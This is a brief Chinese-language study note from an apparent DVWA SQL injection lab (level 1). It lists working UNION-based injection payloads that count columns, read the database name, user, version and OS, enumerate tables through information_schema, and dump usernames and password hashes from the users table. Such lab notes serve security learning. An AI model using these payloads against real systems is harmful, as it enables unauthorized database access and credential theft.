sql字符型注入-sqli第1关

sql注入知识

dvwa

---

1' order by 1#
1' order by 2#
1' order by 3# 排序

1' union select 111,222,333 ---可以查看前端与数据库之间的联系，即数据库在前端显示的出口！

1' union select database(),user()#  联合查询
database() 查询数据库名字
user() 返回当前查询的用户名

1' union select version(),@@version_compile_os# 
version() 返回网站使用数据库的版本
@@version_compile_os 获取当前操作系统

1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa' #

information_schema 是 mysql 自带的一张表，这张数据表保存了Mysql服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表，该表包含两个字段table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库。

1' union select user, password from users#
返回users表中的user 和 password数据